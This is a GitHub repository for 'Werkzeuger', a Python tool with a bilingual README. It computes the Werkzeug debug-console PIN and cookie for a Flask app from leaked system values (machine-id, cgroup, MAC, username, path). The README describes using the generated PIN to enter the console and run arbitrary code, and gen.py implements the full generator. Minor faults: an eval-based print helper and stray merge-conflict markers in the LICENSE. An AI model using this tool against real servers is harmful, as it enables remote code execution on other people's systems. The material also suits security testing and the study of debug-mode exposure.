├── img ├── gen.png ├── get.png ├── help.png ├── console.png └── origin.png ├── LICENSE ├── README.md └── gen.py /img/gen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SidneyJob/Werkzeuger/HEAD/img/gen.png -------------------------------------------------------------------------------- /img/get.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SidneyJob/Werkzeuger/HEAD/img/get.png -------------------------------------------------------------------------------- /img/help.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SidneyJob/Werkzeuger/HEAD/img/help.png -------------------------------------------------------------------------------- /img/console.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SidneyJob/Werkzeuger/HEAD/img/console.png -------------------------------------------------------------------------------- /img/origin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SidneyJob/Werkzeuger/HEAD/img/origin.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 SidneyJob 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | <<<<<<< HEAD 22 | SOFTWARE. 23 | ======= 24 | SOFTWARE. 25 | >>>>>>> refs/remotes/origin/main 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Werkzeuger 2 | 3 | ## RU 4 | - Werkzeuger может генерировать дебаг пин и куку для входа в консоль Werkzeug 5 | - Подробнее о генерации пин читайте в моей статье: [Ссылка](https://habr.com/ru/articles/738238/) 6 | 7 | ![Screenshot](https://github.com/SidneyJob/Generate-flask-pin/blob/main/img/help.png) 8 | 9 | 10 | **Опции, которые необходимы для генерации пина:** 11 | 1) Path 12 | 2) MAC 13 | 3) Machine ID 14 | 4) cgroup 15 | 16 | 17 | **Примеры значений для некоторых опций:** 18 | ``` 19 | username: user 20 | path: /home/user/.local/lib/python3.11/site-packages/flask/app.py 21 | mac: fc:44:82:9d:ba:02 22 | machine_id: b643ebdac5ee44789d21e98a03ce4bb5 23 | cgroup: 0::/user.slice/user-1000.slice/session-2.scope 24 | modname: flask.app 25 | appname: Flask 26 | ``` 27 | 28 | > Вы можете увидеть список доступных интерфейсов, прочитав файл /proc/net/dev. MAC-адрес интерфейса можно увидеть с помощью файла /sys/class/net/INT/address, где INT — любой интерфейс. 29 | 30 | 31 | 32 | **Примеры работы:** 33 | 34 | Оригинальный пин(виден только разработчику): 35 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/origin.png) 36 | 37 | 38 | Самостоятельная генерация пина: 39 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/gen.png) 40 | 41 | ```python3 gen.py --username user --path /home/user/.local/lib/python3.11/site-packages/flask/app.py --mac fc:44:82:9d:ba:02 --machine_id b643ebdac5ee44789d21e98a03ce4bb5 --cgroup 0::/user.slice/user-1000.slice/session-2.scope``` 42 | 43 | Пин, который мы сгенерировали совпадает с пином разработчика, а это значит, что теперь мы можем войти в отладочную коносль и выполнить произвольный код 44 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/console.png) 45 | 46 | 47 | Если вы выполняете эти шаги на своем компьютере, вы можете использовать опцию GET, чтобы получить некоторые переменные с вашего компьютера. 48 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/get.png) 49 | 50 | ```python3 gen.py GET``` 51 | 52 | #### Мой канал: https://t.me/SidneyJobChannel 53 | #### Если есть вопросы, то можете написать мне на почту SidneyJob13@gmail.com или в телеграм @SidneyJob 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | ## EN 62 | - Werkzeuger can generate a debug pin and a cookie to enter the Werkzeug debug console 63 | - Read more about generating pin in my article: [Link](https://habr.com/ru/articles/738238/) 64 | 65 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/help.png) 66 | 67 | **Required options to generate pin:** 68 | 1) Path 69 | 2) MAC 70 | 3) Machine ID 71 | 4) cgroup 72 | 73 | 74 | **Example values for some options:** 75 | ``` 76 | username: user 77 | path: /home/user/.local/lib/python3.11/site-packages/flask/app.py 78 | mac: fc:44:82:9d:ba:02 79 | machine_id: b643ebdac5ee44789d21e98a03ce4bb5 80 | cgroup: 0::/user.slice/user-1000.slice/session-2.scope 81 | modname: flask.app 82 | appname: Flask 83 | ``` 84 | 85 | > You can see the list of available interfaces by reading the /proc/net/dev file. But the MAC address of an interface can be seen using the /sys/class/net/INT/address file, where INT is any interface. 86 | 87 | 88 | **Примеры работы:** 89 | 90 | Original pin (only visible to the developer): 91 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/origin.png) 92 | 93 | 94 | Self-generated pin: 95 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/gen.png) 96 | 97 | ```python3 gen.py --username user --path /home/user/.local/lib/python3.11/site-packages/flask/app.py --mac fc:44:82:9d:ba:02 --machine_id b643ebdac5ee44789d21e98a03ce4bb5 --cgroup 0::/user.slice/user-1000.slice/session-2.scope``` 98 | 99 | The pin we generated is the same as the developer pin, which means that we can now enter the debug console and execute arbitrary code 100 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/console.png) 101 | 102 | 103 | If you are following these steps on your computer, you can use the GET option to get some variables from your computer. 104 | ![Screenshot](https://github.com/SidneyJob/Werkzeuger/blob/main/img/get.png) 105 | 106 | ```python3 gen.py GET``` 107 | 108 | #### My channel: https://t.me/SidneyJobChannel 109 | #### If you have any questions, you can write to me at SidneyJob13@gmail.com or telegram @SidneyJob 110 | -------------------------------------------------------------------------------- /gen.py: -------------------------------------------------------------------------------- 1 | # MIT License 2 | 3 | # Copyright (c) 2023 SidneyJob 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | 23 | 24 | import hashlib 25 | from itertools import chain, combinations 26 | from colorama import Fore, Style 27 | import time 28 | import argparse 29 | import getpass 30 | import uuid 31 | import sys 32 | 33 | 34 | def hash_pin(pin: str) -> str: 35 | pin = pin[0] 36 | return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12] 37 | 38 | 39 | def gen_pin(username, mac, mch_id,path,modname,appname): 40 | probably_public_bits = [username,modname,appname,path] 41 | private_bits = [str(mac), mch_id] 42 | 43 | rv = None 44 | num = None 45 | h = hashlib.sha1() 46 | for bit in chain(probably_public_bits, private_bits): 47 | if not bit: 48 | continue 49 | if isinstance(bit, str): 50 | bit = bit.encode("utf-8") 51 | h.update(bit) 52 | h.update(b"cookiesalt") 53 | 54 | cookie_name = f"__wzd{h.hexdigest()[:20]}" 55 | 56 | if num is None: 57 | h.update(b"pinsalt") 58 | num = f"{int(h.hexdigest(), 16):09d}"[:9] 59 | 60 | if rv is None: 61 | for group_size in 5, 4, 3: 62 | if len(num) % group_size == 0: 63 | rv = "-".join( 64 | num[x : x + group_size].rjust(group_size, "0") 65 | for x in range(0, len(num), group_size) 66 | ) 67 | break 68 | else: 69 | rv = num 70 | 71 | return [rv, cookie_name] 72 | 73 | 74 | def generate_cookie(pin): 75 | cookie = '' 76 | cookie += str(int(time.time())) 77 | cookie += '|' 78 | cookie += hash_pin([pin]) 79 | return cookie 80 | 81 | 82 | def logo(): 83 | print(""" 84 | 85 | 86 | ¶ ¶ 87 | ¶ ¶ 88 | ¶ ¶ ¶ ¶ 89 | ¶ ¶¶ ¶¶ ¶ 90 | ¶¶ ¶¶¶ ¶¶¶ ¶¶ 91 | ¶ ¶¶ ¶¶¶ ¶¶¶ ¶¶ ¶ 92 | ¶¶ ¶¶ ¶¶¶ ¶¶¶ ¶¶ ¶¶ 93 | ¶¶ ¶¶ ¶¶¶¶ ¶¶¶¶ ¶¶ ¶¶ 94 | ¶¶ ¶¶¶ ¶¶¶¶ ¶¶¶¶¶ ¶¶¶ ¶¶¶ 95 | ¶ ¶¶¶ ¶¶¶¶ ¶¶¶¶ ¶¶¶¶ ¶¶¶¶ ¶¶¶¶ ¶ 96 | ¶¶ ¶¶¶¶¶ ¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶ ¶¶¶¶¶ ¶¶ 97 | ¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶ 98 | ¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶ 99 | ¶¶¶ ¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶ ¶¶¶ 100 | ¶¶¶¶ ¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶ ¶¶¶¶ 101 | ¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶ 102 | ¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶ 103 | ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶ 104 | ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ 105 | ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ 106 | ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ 107 | ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ 108 | ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ 109 | ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ 110 | ¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶ 111 | ¶¶¶¶¶¶¶ .. ¶¶¶¶¶¶¶¶¶ .. ¶¶¶¶¶¶ 112 | ¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶ 113 | ¶¶¶¶¶¶¶¶¶¶ ¶¶¶ ¶¶¶¶¶¶¶¶¶¶ 114 | ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ 115 | ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ 116 | ¶¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶¶ 117 | ¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶ 118 | ¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶ 119 | ¶¶¶¶¶¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶¶¶¶¶¶ 120 | ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ 121 | ¶¶¶ ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ ¶¶¶ 122 | ¶¶ ¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶ ¶¶ 123 | ¶¶¶¶ ¶¶¶¶¶ ¶¶¶¶ 124 | 125 | 126 | 127 | __ __ _ 128 | \ \ / / | | 129 | \ \ /\ / / ___ _ __ | | __ ____ ___ _ _ __ _ ___ _ __ 130 | \ \/ \/ / / _ \| '__|| |/ /|_ / / _ \| | | | / _` | / _ \| '__| 131 | \ /\ / | __/| | | < / / | __/| |_| || (_| || __/| | 132 | \/ \/ \___||_| |_|\_\/___| \___| \__,_| \__, | \___||_| 133 | __/ | 134 | |___/ 135 | 136 | 137 | Author: https://github.com/SidneyJob 138 | Channel: https://t.me/SidneyJobChannel 139 | """) 140 | 141 | def print_c(text, color): 142 | eval(f'print(Fore.{color} + """{text}""" + Style.RESET_ALL, end="")') 143 | 144 | def main(): 145 | logo() 146 | if len(sys.argv) > 1: 147 | if sys.argv[1] == "GET": 148 | with open('/etc/machine-id','r') as f: 149 | mch_id = f.readline()[:-1] 150 | with open("/proc/self/cgroup",'r') as f: 151 | cgroup = f.readline()[:-1] 152 | print(f""" 153 | Public bits: 154 | username === {getpass.getuser()} 155 | 156 | Private bits: 157 | MAC === {str(uuid.getnode())} 158 | machine_id === {mch_id} 159 | cgroup === {cgroup} 160 | """) 161 | exit(0) 162 | 163 | parser = argparse.ArgumentParser(description="Werkzeug generate PIN script") 164 | 165 | parser.add_argument("--username", dest="username", type=str, help="The username of the user who launched the application. Try to read /etc/passwd or /proc/self/cgroup", default='www-data') # www-data 166 | parser.add_argument("--path", dest="path",required=True, type=str, help="Path to Flask") # REQUIRED 167 | parser.add_argument("--modname", dest="modname", type=str, help="Modname (Default: flask.app)") # flask.app 168 | parser.add_argument("--appname", dest="appname", type=str, help="Appname (Default: Flask)") # Flask 169 | 170 | 171 | parser.add_argument("--mac", dest="mac", required=True, type=str, help="MAC address any interface") # REQUIRED 172 | parser.add_argument("--machine_id", dest="mch_id",required=True, type=str, help="Enter /etc/machine-id or /proc/sys/kernel/random/boot_id") # REQUIRED 173 | parser.add_argument("--cgroup", dest="cgroup",required=True, type=str, help="Enter /proc/self/cgroup") # REQUIRED 174 | 175 | args = parser.parse_args() 176 | 177 | modnames = ["flask.app", "werkzeug.debug"] 178 | appnames = ["wsgi_app", "DebuggedApplication", "Flask"] 179 | 180 | if args.appname: 181 | appnames.append(args.appname) 182 | if args.modname: 183 | modnames.append(args.modname) 184 | 185 | mch_id = b"" 186 | mch_id += args.mch_id.encode("UTF-8") 187 | cgroup_file = args.cgroup.strip().rpartition("/")[2].encode("UTF-8") 188 | mch_id += cgroup_file 189 | 190 | mac = int("".join(args.mac.split(":")),16) 191 | 192 | for mod in modnames: 193 | for app in appnames: 194 | res = gen_pin(args.username, mac, mch_id, args.path, mod, app) 195 | cookie = generate_cookie(res[0]) 196 | 197 | if res[0] != '' and res[1] != '': 198 | print_c("[+] Success!", "GREEN") 199 | print(f""" 200 | [*] PIN: {res[0]} 201 | [*] Cookie: {res[1]}={cookie} 202 | [*] Modname: {mod} 203 | [*] Appname: {app} 204 | """) 205 | else: 206 | print("[-] Error!") 207 | 208 | print_c(f"[+] {len(modnames) * len(appnames)} payloads are successfully generated!\n", "GREEN") 209 | 210 | 211 | if __name__ == "__main__": 212 | main() 213 | 214 | --------------------------------------------------------------------------------